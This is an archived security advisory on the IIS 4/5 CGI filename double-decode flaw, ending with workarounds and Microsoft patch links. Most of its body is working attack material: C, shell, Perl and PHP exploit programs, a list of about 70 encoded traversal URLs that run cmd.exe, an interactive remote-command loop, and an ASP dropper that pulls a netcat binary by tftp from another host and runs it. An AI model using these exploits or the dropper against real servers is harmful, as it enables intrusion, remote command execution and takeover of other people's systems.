COMMAND
IIS
SYSTEMS AFFECTED
IIS 3, 4, 5
PROBLEM
Following is based on a NSFOCUS SA2001-02 Security Advisory.
NSFOCUS Security Team has found a vulnerability in filename
processing of CGI program in MS IIS4.0/5.0. CGI filename is
decoded twice by error. Exploitation of this vulnerability,
intruder may run arbitrary system command.
When loading executable CGI program, IIS will decode twice.
First, CGI filename will be decoded to check if it is an
executable file (for example, '.exe' or '.com' suffix check-up).
Successfully passing the filename check-up, IIS will run another
decode process. Normally, only CGI parameters should be decoded
in this process. But this time IIS mistakenly decodes both CGI
parameters and the decoded CGI filename. In this way, CGI
filename is decoded twice by error.
With a malformed CGI filename, attacker can get round IIS filename
security check-ups like '../' or './' check-up. In some cases,
attacker can run arbitrary system command.
For example, a character '\' will be encoded to "%5c". And the
corresponding code of these 3 characters is:
'%' = %25
'5' = %35
'c' = %63
encode this 3 characters for another time, we can get many results
such as:
%255c
%%35c
%%35%63
%25%35%63
...
Thereby, '..\' can be represented by '..%255c' and '..%%35c', etc.
After first decoding, '..%255c' is turned into '..%5c'. IIS will
take it as a legal character string that can pass security
check-up. But after a second decode process, it will be reverted
to '..\'. Hence, attacker can use '..\' to carry out directory
traversal and run arbitrary program outside of Web directory.
For example, TARGET has a virtual executable directory (e.g.
"scripts") that is located on the same driver of Windows system.
Submit request like this:
http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
Directory list of C:\ will be revealed.
Of course, same effect can be achieved by this kind of processing
to '/' and '.'. For example: "..%252f", ".%252e/"... Note:
Attacker can run commands of IUSER_machinename account privilege
only.
We can add Microsoft-PWS to the list of affected systems - just
confirmed on NT4 W/S SP6.
Filip Maertens posted exploit code:
/*
*
* execiis.c - (c)copyright Filip Maertens
* BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
*
* DISCLAIMER: This is proof of concept code. This means, this code
* may only be used on approved systems in order to test the availability
* and integrity of machines during a legal penetration test. In no way
* is the author of this exploit responsible for the use and result of
* this code.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
/* Modify this value to whichever sequence you want.
*
* %255c = %%35c = %%35%63 = %25%35%63 = /
*
*/
#define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"
int main(int argc, char *argv[])
{
struct sockaddr_in sin;
char recvbuffer[1], stuff[200];
int create_socket;
printf("iisexec.c | Microsoft IIS CGI Filename Decode Error | <filip@securax.be>\n-------------------------------------------------------------------------\n");
if (argc < 3)
{
printf(" -- Usage: iisexec [ip] [command]\n");
exit(0);
}
if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
printf(" -- Socket created.\n");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr(argv[1]);
if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
printf(" -- Connection made.\n");
else
{ printf(" -- No connection.\n"); exit(1); }
strcat(stuff, "GET ");
strcat(stuff, SHOWSEQUENCE);
strcat(stuff, argv[2]);
strcat(stuff, " HTTP/1.0\n\n");
memset(recvbuffer, '\0',sizeof(recvbuffer));
send(create_socket, stuff, sizeof(stuff), 0);
recv(create_socket, recvbuffer, sizeof (recvbuffer),0);
if ( ( strstr(recvbuffer,"404") == NULL ) )
printf(" -- Command output:\n\n");
while(recv(create_socket, recvbuffer, 1, 0) > 0)
{
printf("%c", recvbuffer[0]);
}
else
printf(" -- Wrong command processing. \n");
close(create_socket);
}
Leif Jakob sent a short Shell-Script for testing of the latest
IIS-escape vulnerability:
#!/bin/sh
# Copyright 2001 by Leif Jakob <bugtraq@jakob.weite-welt.com>
#
# do not abuse this code... blah blah :)
if [ -z "$1" ] ; then
echo "usage:"
echo "$0 hostname"
exit 1
fi
host="$1"
NETCAT=`which netcat`
if [ -z "$NETCAT" ] ; then
NETCAT=`which nc`
fi
if [ -z "$NETCAT" -o ! -x "$NETCAT" ] ; then
echo "you need netcat to make this work"
exit 1
fi
echo "using netcat:$NETCAT"
function makeRequest
{
host="$1"
count=$2
cmd="$3"
echo -n 'GET /scripts/'
while [ $count -gt 0 ] ; do
echo -n '..%255c'
count=$((count-1))
done
echo -n 'winnt/system32/cmd.exe?/c+'
echo -n "$cmd"
echo ' HTTP/1.0'
echo "Host: $host"
echo ''
echo 'dummy'
}
function testHost
{
host="$1"
count=10 # you can't overdo it
cmd='dir+c:\'
makeRequest "$host" "$count" "$cmd" | netcat -w 4 $host 80
}
testHost "$host"
You can elevating privileges by using the .asp file to upload and
execute the nc file and to get the system permissions.
Another code:
/* IISEX by HuXfLuX <huxflux2001@hotmail.com>. IIS CGI File Decode Bug exploit. Written 16-05-2001.
Compiles on Linux, works with IIS versions 3, 4 and 5. Microsoft's products were always
famous for their backward compatibility!
You can change the SHOWSEQUENCE value to some other strings that also work.
More info: http://www.nsfocus.com
Thanx to Filip Maertens <filip@securax.be>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#define SHOWSEQUENCE "/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+"
int resolv(char *hostname,struct in_addr *addr);
int main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct in_addr victim;
char recvbuffer[1], stuff[200]="";
int create_socket;
printf("IISEX by HuxFlux <huxflux2001@hotmail.com>\nThis exploits the IIS CGI Filename Decode Error.\nWorks with IIS versions 3, 4 and 5!.\n");
if (argc < 3)
{
printf("[?] Usage: %s [ip] [command]\n", argv[0]);
exit(0);
}
if (!resolv(argv[1],&victim))
{
printf("[x] Error resolving host.\n");
exit(-1);
}
printf("\n[S] Exploit procedure beginning.\n");
if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 ) printf("[*] Socket created.\n");
bzero(&sin,sizeof(sin));
memcpy(&sin.sin_addr,&victim,sizeof(struct in_addr));
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
//sin.sin_addr.s_addr = inet_addr(argv[1]);
if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0) printf("[*] Connection made.\n");
else {
printf("[x] No connection.\n");
exit(1);
}
strcat(stuff, "GET ");
strcat(stuff, SHOWSEQUENCE);
strcat(stuff, argv[2]);
strcat(stuff, " HTTP/1.0\r\n\r\n");
printf("[*] Sending: %s", stuff);
memset(recvbuffer, '\0',sizeof(recvbuffer));
send(create_socket, stuff, sizeof(stuff), 0);
if ( strstr(recvbuffer,"404") == NULL ) {
printf("[*] Command output:\n\n");
while(recv(create_socket, recvbuffer, 1, 0) > 0)
{
printf("%c", recvbuffer[0]);
}
printf("\n\n");
}
else printf("[x] Wrong command processing. \n");
printf("[E] Finished.\n");
close(create_socket);
}
int resolv(char *hostname,struct in_addr *addr)
{
struct hostent *res;
if (inet_aton(hostname,addr)) return(1);
res = gethostbyname(hostname);
if (res == NULL) return(0);
memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
return(1);
}
Cyrus The Great included a perl exploit for IIS4/5 CGI decode
hole. First detects vulnerable servers and if detectable, You
just enter the commands and it executes them for you remotely, you
can also creat new files remotely, and use them for ftp or other
commands.
#!/usr/bin/perl
# Written by Cyrus The Gerat , CyrusArmy@Bigfoot.com, May 15th 2001
# This perl script lets you to test the vulnerable servers to IIS4/5 CGI decode hole,
# Also you can exploit the hole and execute your commands remotely!
# Vulnerability found by NSfocus security team,
# Tested for compatibility on UNIX/WINDOWS (activestate perl)
# Works well on windows and unix platforms,
$ARGC=@ARGV;
if ($ARGC <3) {
print "\n\nRemote IIS4/5 decode hole tester! By CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n";
print "\n Usage:\n\n $0 <victim host> <victim port> <command line to execute>\n\n";
print " Victim Host: Address of IIS4/5 server vulnerable to decode hole! \n";
print " Victim port: HTTP/HTTPS port 80 or 443\n";
print " Command to Execute: for example \"echo Just hacked! > hacked.txt\" \n\n";
exit;
}
use Socket;
my ($host,$port,$target,$notvulnerable,$notfound,$notcopied,$accessdenied);
$host=$ARGV[0];
$port=$ARGV[1];
$target=inet_aton($host);
$notvulnerable=1;
$notfound=1;
$accessdenied=0;
print "\nRemote IIS4/5 decode hole tester! By CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n";
print "Connecting to server $host port $port..., \n\n";
@results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ver HTTP/1.0\r\n\r\n");
for ($i=0; $i <=7 ;$i++ ) {
print $results[$i];
}
foreach $line (@results){
if ($line =~ /\[Version/) {
$notvulnerable=0;
print "\nWow! system is vulnerable.\n";
print $line;
}
}
if ($notvulnerable) {
print "\nOops! System is not vulnerable. \n";
exit(1);
}
# you can exchange Wow! and Oops! as you prefer! ;-)
print "\nChecking for command interpreter...\n";
@results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir%20cyrus%2eexe HTTP/1.0\r\n\r\n");
#print @results;
foreach $line (@results){
if ($line =~ /cyrus.exe/) {$notfound=0;}
}
if ($notfound) {
print "Command interpreter not found, Trying to copy cmd.exe \n";
@results=sendraw("GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+%2e%2e%5c%2e%2e%5cwinnt%5csystem32%5ccmd%2eexe+cyrus%2eexe HTTP/1.0\r\n\r\n");
#print @results;
}
foreach $line (@results){
if (($line =~ /denied/ )) {$accessdenied=1;}
}
if ($accessdenied) {
print"Cannot copy command interpreter, Try manually! \n\n";
exit(2);
} else {
print "Command interpreter OK \n";
}
$command=@ARGV[2];
print "Now executing your command: $command \n\n";
#$command=~s/ /\%20/g;
$command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
#print $command;
my @results=sendraw("GET /scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
print STDOUT "\n\nMore commands? , or EOF to end:\n";
while ($command = <STDIN>) {
print "You said: $command \n";
chop $command;
$command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
my @results=sendraw("GET /scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
print "\n\nTell me more, or EOF (^D/^Z) to end:\n";
}
print "\nThat's all! Another IIS hole just similified by cyrus!\n";
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0)
||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else {
print "Cannot connect to $host port $port\n";
exit(3); }
}
This is what You can do:
http://192.168.0.1/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp.exe+-i+192.168.0.2+GET+f.asp+c:\inetpub\scripts\f.asp
Then run
http://192.168.0.1/f.asp
Following is a copy of the f.asp:
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set drv = fs.Drives
dmax = ""
dmac = 0
For each d in drv
If d.Driveletter <> "A" And d.IsReady Then
If d.AvailableSpace > dmac then
dmac = d.AvailableSpace
dmab = d.DriveType
dmaa = d.TotalSize
dmad = d.SerialNumber
dmax = d.DriveLetter
End If
End If
Next
filename = server.mappath("dl.bat")
Set tf = fs.CreateTextFile(filename, True)
tf.WriteLine("@echo off")
tf.WriteLine("cd \Inetpub\scripts")
tf.WriteLine("startDL:")
tf.WriteLine("tftp.exe -i 192.168.1.33 get ncx99.exe
c:\inetpub\scripts\nc0.exe")
tf.WriteLine("if not exist ncx99.exe goto startDL")
tf.WriteLine("start /w nc0.exe")
tf.WriteLine("attrib TFTP* -r")
tf.WriteLine("attrib nc0.exe -r")
tf.WriteLine("del TFTP*")
tf.WriteLine("exit")
tf.Close
dim command
dim wshShell
command = server.mappath("dl.bat") & " " & dmax
On Error Resume Next
Set wshShell = CreateObject("WScript.Shell")
wshShell.Run (command)
If Err Then
Set objFSO = Server.CreateObject("scripting.filesystemobject")
pathname = server.mappath("dl.bat")
objFSO.DeleteFile pathname
Set objFSO = Nothing
Else
Response.Write "|" & dmax & "*" & dmab & "*" & dmac & "*" & dmaa & "*" &
dmad
End If
%>
Here we want to explain why exploitation of this vulnerability
fails in some cases. The vulnerability exists in both IIS 4.0
and IIS 5.0, but exploitation of it would fail for some factors.
1. Why NT 4 SP6(SP6a) is not affected?
That's because SP6(a) will perform a check for the existence of
requested file after the first decoding. Attack fails for files
like C:\interpub\scripts\..%5c..%5c..%5cwinnt\system\cmd.exe
do not actually exist.
But this check of SP6 seems to be just a temporary fix to
address some certain vulnerability. And it was removed in some
following hotfixes. Thus, if you have only applied SP6(a) for
your NT 4, you would not be affected by this vulnerability.
2. Will systems with patch provided by MS00-078(MS00-057) be
affected?
MS00-078 and MS00-057 provide the same patch, which will
perform a check of filename for ".\" and "./" after the first
decoding. In case that such characters exist, request would be
denied. Thus, it only casually addresses UNICODE
vulnerability. By covering "./" or ".\" after the first
decoding, an attacker can still successfully make use of
"Decoding error" vulnerability.
For example:
..%255c..%255cwinnt/system32/cmd.exe
will be converted into
..%5c..%5cwinnt/system32/cmd.exe
after the first decoding. Thus the request can bypass the
security check.
But
..%255c../winnt/system32/cmd.exe
will be converted into
..%5c../winnt/system32/cmd.exe
after the first decoding. Thus the attack fails since the
decoded name contains './'.
3. Will systems with patch provided by MS00-086 be affected?
The patch provided by MS00-086 successfully addressed the
UNICODE vulnerability.
But Microsoft has updated the patches for some times. First
versions will provide filename check for some dangerous
characters like '%' or '"' after the first decoding. Thus, you
will not be affected by "Decoding error" vulnerability if you
apply these versions. But Microsoft remove the check again in
the final version of the patch, apply which will make your
system affected.
'BoloTron' posted following. This is a SHELL script (not for web)
written in PHP, in order to run the code you must download PHP
source code and compile with:
./configure ; make
You'll get the cgi interperter for the script. Next step:
php -q iis-kabom
or
php -q iis-kabom spanish
for spanish help.
#!php -q
<?
$vector_ataque[0]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[1]="/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[2]="/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[3]="/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[4]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[5]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[6]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[7]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[8]="/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[9]="/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[10]="/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[11]="/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[12]="/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[13]="/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[14]="/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[15]="/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[16]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[17]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[18]="/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[19]="/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[20]="/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[21]="/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[22]="/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[23]="/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[24]="/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[25]="/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[26]="/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[27]="/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[28]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[29]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[30]="/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[31]="/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[32]="/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[33]="/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[34]="/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[35]="/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[36]="/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[37]="/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[38]="/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
$vector_ataque[39]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[40]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[41]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[42]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[43]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[44]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[45]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[46]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[47]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[48]="/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[49]="/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[50]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[51]="/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[52]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[53]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[54]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[55]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[56]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[57]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[58]="/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[59]="/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[60]="/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[61]="/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[62]="/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[63]="/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c+";
$vector_ataque[64]="/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[65]="/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[66]="/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[67]="/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[68]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[69]="/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
if(!isset($argv[1]))
{
echo "\n\n--------------------------------------------------------------------\n";
echo "------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron ------\n";
echo "--------------------------------------------------------------------\n\n";
echo "Usage of the wicked device:\n";
echo $argv[0]." -t www.victim.vic\n";
echo $argv[0]." -t www.victim.vic -p proxy:port\n";
echo $argv[0]." www.victim.vic comand variant_number\n";
echo $argv[0]." -p proxy:port www.victim.vic comand variant_number\n";
echo "Options:\n";
echo "-t --> Test the vulnerability (Try known variants till find the good one)\n";
echo "-p --> Attack through proxy\n";
echo "\nUse Mode:\n1) Test the host and get the variants number in case vulnerability exists\n";
echo "2) Attack with command and variants number (optionaly you can use proxy)\n";
echo "Note : When you specify a command with spaces, replace spaces with low script \"_\" \n";
echo "and you must double the backslash \"\\\". \n Example".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Thanks to An-tonio for the proxy support.\n";
echo "Bug discover by Anonymous Post.\n";
echo "TYPE ".$argv[0]." spanish, for Spanish help.\n";
}
else
{
if($argv[1]=="spanish")
{
echo "\n\n--------------------------------------------------------------------\n";
echo "------------- (c) Exploit UNICODE para IIS 5.0/4.0 por BoloTron ----\n";
echo "--------------------------------------------------------------------\n\n";
echo "Uso del artefacto maligno :\n";
echo $argv[0]." -t www.victima.vic\n";
echo $argv[0]." -t www.victima.vic -p proxy:puerto\n";
echo $argv[0]." www.victima.vic comando nš_de_variante\n";
echo $argv[0]." -p proxy:port www.victima.vic comand nš_de_variante\n";
echo "Opciones:\n";
echo "-t --> Testea la vulnerabilidad, prueba todas las variantes hasta encontrar una buena.\n";
echo "-p --> Ataque a traves de proxy\n";
echo "\nModo de Empleo:\n1) Testear el host y anotar el numero de variante en caso de ser vulnerable\n";
echo "2) Atacar especificando comando y nš de variante (opcionalmente puedes especificar un proxy)\n";
echo "Nota : Cuando se especifica un comando en el que hay espacios hay que sustituirlos por un guion bajo _ \n";
echo "y las contrabarras hay que ponerlas dobles. \nEjemplo : ".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Gracias a An-tonio por sus indicaciones en el soporte proxy.\n";
echo "Bug descubierto por aviso anonimo.\n";
exit;
}
if($argv[1]=="-t")
{
if ($argv[3]=="-p")
{
for($i=0;$i<70;$i++)
{
$prox=explode(":",$argv[4]);
$comando="dir+c:\\";
$fp = fsockopen($prox[0], $prox[1]);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET http://".$argv[2]."".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n");
echo "Trying variant number ".$i." ";
while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> Vulnerable!!\n";
exit;
}
else
{
echo "-----> NoT Vulnerable :(\n";
}
}
fclose($fp);
}
}
else
{
for($i=0;$i<70;$i++)
{
$port=80;
$comando="dir+c:\\";
$fp = fsockopen($argv[2], $port);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET ".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n");
echo "Trying variant number ".$i." ";
while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> vulnerable!!\n";
exit;
}
else
{
echo "-----> No Vulnerable :(\n";
}
}
fclose($fp);
}
}
}
else
{
if($argv[1]=="-p")
{
$prox=explode(":",$argv[2]);
$port=$prox[1];
$comando=ereg_replace("_","+",$argv[4]);
$fp = fsockopen($prox[0], $port);
if(!$fp)
{
echo "Conection failed.\n";
}
else
{
fputs($fp,"GET http://".$argv[3]."".$vector_ataque[$argv[5]]."".$comando." HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
else
{
$port=80;
$comando=ereg_replace("_","+",$argv[2]);
$fp = fsockopen($argv[1], $port);
if(!$fp)
{
echo "Conection failed.\n";
}
else
{
fputs($fp,"GET ".$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
}
}
?>
SOLUTION
Workaround:
1. If executable CGI is not integrant, delete the executable
virtual directory like /scripts etc.
2. If executable virtual directory is needed, we suggest you to
assign a separate local driver for it.
3. Move all command-line utilities to another directory that could
be used by an attacker, and forbid GUEST group access those
utilities.
The bulletin is live at:
http://www.microsoft.com/technet/security/bulletin/MS01-026.asp
Patches are available at:
Microsoft IIS 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
Microsoft IIS 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764
If you had MS01-026 applied prior to SP2 you should not be
vulnerable to the sadminD/IIS Worm (unless you have configuration
problems). If you didn't apply MS01-026, but have applied SP2,
you are still vulnerable to some IIS exploits and need to get
additional patches.